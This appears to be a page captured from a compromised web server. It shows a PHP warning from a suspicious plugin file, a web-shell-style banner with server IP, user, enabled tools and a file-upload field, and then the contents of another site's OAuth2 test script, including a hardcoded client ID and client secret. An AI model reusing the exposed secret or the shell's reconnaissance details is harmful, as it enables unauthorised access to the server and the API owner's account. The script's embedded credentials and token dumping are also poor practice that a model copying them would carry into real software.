Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_support/public/static/OAuth2/ |
Upload File : |
<?php
header('Content-type: text/plain');
// http://pyoung.api.simplyinteractiveinc.com/OAuth2/test.php
$BASE = __DIR__;
require "$BASE/Client.php";
require "$BASE/OAuthDiscovery.php";
require "$BASE/GrantType/IGrantType.php";
require "$BASE/GrantType/AuthorizationCode.php";
const CLIENT_ID = '1c6942bddcc2746da6c2';
const CLIENT_SECRET = 'R8L6RCHdnzD5YOnvxyxB9slwTH1mi12aqhFye8A83X0';
// Use services.xrds to retrieve endpoints
const API = 'http://pyoung.api.simplyinteractiveinc.com/';
$XRDS = OAuthDiscovery::Discover(API . 'oauth/'); // output may be cached
$REDIRECT_URI = CurrentURL(2);
$client = new OAuth2\Client(CLIENT_ID, CLIENT_SECRET);
if (isset($_GET['error'])) {
var_dump($_SERVER['QUERY_STRING']);
exit;
}
if (!isset($_GET['code'])) {
$auth_url = $client->getAuthenticationUrl($XRDS['authorize_uri'], $REDIRECT_URI, array('state' => 'profile'));
header('Location: ' . $auth_url);
die('Redirect');
} else {
$params = array('code' => $_GET['code'], 'redirect_uri' => $REDIRECT_URI);
$response = $client->getAccessToken($XRDS['request_token_uri'], 'authorization_code', $params);
var_dump($response);
if (is_array($response['result'])) {
$info = $response['result'];
} else {
parse_str($response['result'], $info);
}
$client->setAccessToken($info['access_token']);
$token_type = isset($info['token_type']) ? strtolower($info['token_type']) : '';
if ($token_type == 'bearer') $client->setAccessTokenType(OAuth2\Client::ACCESS_TOKEN_BEARER);
$response = $client->fetch('http://pyoung.api.simplyinteractiveinc.com/v1/products.txt');
var_dump($response['result']);
}
function CurrentURL($include_query = 1) {
$host = isset($_SERVER['HTTPS']) ? strtolower($_SERVER['HTTPS']) : '';
$host = ($host == 'on') ? 'https://' : 'http://';
$host .= isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$n = $_SERVER['REQUEST_URI'];
$querystr = '';
if (($p = strpos($n, '?')) !== FALSE) {
parse_str(substr($n, $p + 1), $query);
$n = substr($n, 0, $p);
if ($include_query > 1) {
unset($query['code']);
unset($query['state']);
}
foreach($query as $key => $value) {
$querystr .= ($querystr == '') ? '?' : '&';
$querystr .= urlencode($key) . '=' . urlencode($value);
}
}
$url = $host . $n;
if ($include_query && $querystr != '') $url .= $querystr;
return $url;
}